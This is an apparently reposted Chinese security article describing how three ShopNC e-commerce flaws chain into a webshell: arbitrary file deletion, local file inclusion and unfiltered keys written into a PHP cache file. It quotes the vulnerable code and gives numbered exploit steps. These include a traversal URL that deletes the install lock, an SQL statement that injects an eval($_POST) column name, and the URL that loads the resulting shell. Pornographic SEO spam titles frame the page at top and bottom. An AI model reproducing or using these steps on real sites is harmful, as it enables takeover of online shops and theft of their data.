成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

電子商務系統ShopNC多個漏洞結合可暴力getshell

安全 漏洞
ShopNC是一款網城創想公司旗下服務于企業客戶的電子商務系統,基于PHP5技術采用MVC 模式開發,本文介紹了shopnc多個漏洞結合,可getshell有點暴力-_-

前言

ShopNC是一款網城創想公司旗下服務于企業客戶的電子商務系統,基于PHP5技術采用MVC 模式開發,本文介紹了shopnc多個漏洞結合,可getshell有點暴力-_-

[[109727]]

任意文件刪除

文件 control\store.php 1438 行 (還有幾個同樣的地方,新版已修復)

........
$model_upload = Model('upload');
        $file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
        if(!$file_info){
            @unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
        }else{
 
........

本地文件包含

文件 /framework/core/base.php 71行

$act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
    }
    if ( is_file( $act_file ) )
    {
        require( $act_file );
        $class_name = $_GET['act']."Control";
        if ( class_exists( $class_name ) )

后臺更新緩存寫shell

/**
     * 更新一條廣告緩存
     *
     * @param unknown_type $adv
     * @return unknown
     */
    public function makeAdvCache($adv){
        $lang   = Language::getLangContent();
        $tmp .= "<?php \r\n";
        $tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
        if (is_numeric($adv) && $adv > 0){
 
            $condition['adv_id'] = $adv;
            $adv_info = $this->getList($condition);
            $adv = $adv_info['0'];
        }
    ..................................
                       $content = addslashes($v);
            $content = str_replace('$','\$',$content);
            //防止有$符號被解析成變量
            $tmp .= '$'.$k." = \"".$content."\"; \r\n";
        }
        //緩存文件存放位置及文件名
        $cache_file = BasePath.'/cache/adv/adv_'.$adv['adv_id'].'.cache.php';
        file_put_contents($cache_file,$tmp);

繼續跟進getList函數

public function getList($condition=array(), $page='', $limit='', $orderby=''){
    $param  = array();
    $param['table'] = 'adv';
    $param['field'] = $condition['field']?$condition['field']:'*';
    $param['where'] = $this->getCondition($condition);
    if($orderby == ''){
        $param['order'] = 'slide_sort, adv_id desc';
    }else{
        $param['order'] = $orderby;
    }
    $param['limit'] = $limit;
    return Db::select($param,$page);
}

寫文件時,從數據庫中遍歷key,跟value 未過濾key,key 可以從數據庫讀取,當有數據庫可控時,即可寫入任意文件.

ShopNc GetShell

結合以上三個漏洞,即可優雅的 getshell

流程

任意文件刪除 => 重裝 => 更改數據庫 shopnc_adv 鍵值 =>更新廣告緩存 =>getshell

具體步驟

1:http://www.xxx.com/index.php?act=store&op=dorp_img&file_id=16&img_src=/../../../install/lock

2:重裝系統

3:進入MySQL 執行sql ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL

4:進入后臺 更新廣告緩存 http://www.xxx.com/admin/index.php?act=adv&op=adv_edit&adv_id=14

5:連接shell http://www.xxx.com/index.php?act=../cache/adv/adv_14.cache

責任編輯:藍雨淚 來源: FreeBuF
相關推薦

2009-02-12 14:01:49

電子商務 SAAS

2012-07-09 11:15:22

電子商務

2009-07-28 13:06:19

ASP.NET電子商務

2011-10-28 13:32:17

2011-07-05 11:06:35

2011-07-05 11:06:52

2011-10-28 13:36:16

電子商務

2013-09-02 16:50:07

電子商務

2009-03-23 10:26:03

電子商務

2013-03-20 10:30:22

2012-06-28 09:34:20

2011-06-20 10:55:41

合理金橋電子商務

2012-06-19 15:56:55

2011-07-05 10:37:43

2022-11-21 10:49:12

2012-05-24 12:10:58

飛視美

2010-06-18 17:09:05

UML用例驅動

2009-10-26 10:17:07

2011-03-10 11:01:24

電子商務數據庫營銷

2022-06-14 23:21:11

元宇宙電子商務中心化
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 九九精品在线 | 精品久久香蕉国产线看观看亚洲 | 国产精品免费观看视频 | 日韩有码一区 | 日本久久精品视频 | 日韩国产中文字幕 | 欧美美乳| 亚洲国产精品99久久久久久久久 | 欧美视频三区 | 免费在线观看黄视频 | 日韩中文字幕一区二区 | 精品自拍视频在线观看 | 女同久久| 国产精品久久二区 | h片在线免费看 | 三级成人在线观看 | 91久久精品国产91久久 | 国产精品夜间视频香蕉 | 久久99精品视频 | 亚洲精品久久久一区二区三区 | 在线精品国产 | 欧美日韩综合一区 | 国产一区在线免费观看视频 | 精品熟人一区二区三区四区 | 国产精品国产精品国产专区不卡 | 91黄在线观看 | 国产伦一区二区三区 | 黄色免费在线观看网站 | 日本一二区视频 | 性色av一区二区三区 | 久久9999久久 | 欧洲精品码一区二区三区免费看 | 99精品视频网 | 亚洲免费视频在线观看 | 日韩快播电影网 | 久久成人一区二区三区 | 国产成人一区二区 | 久久免费精彩视频 | 一区免费看| 久久人爽 | 中文字幕a√ |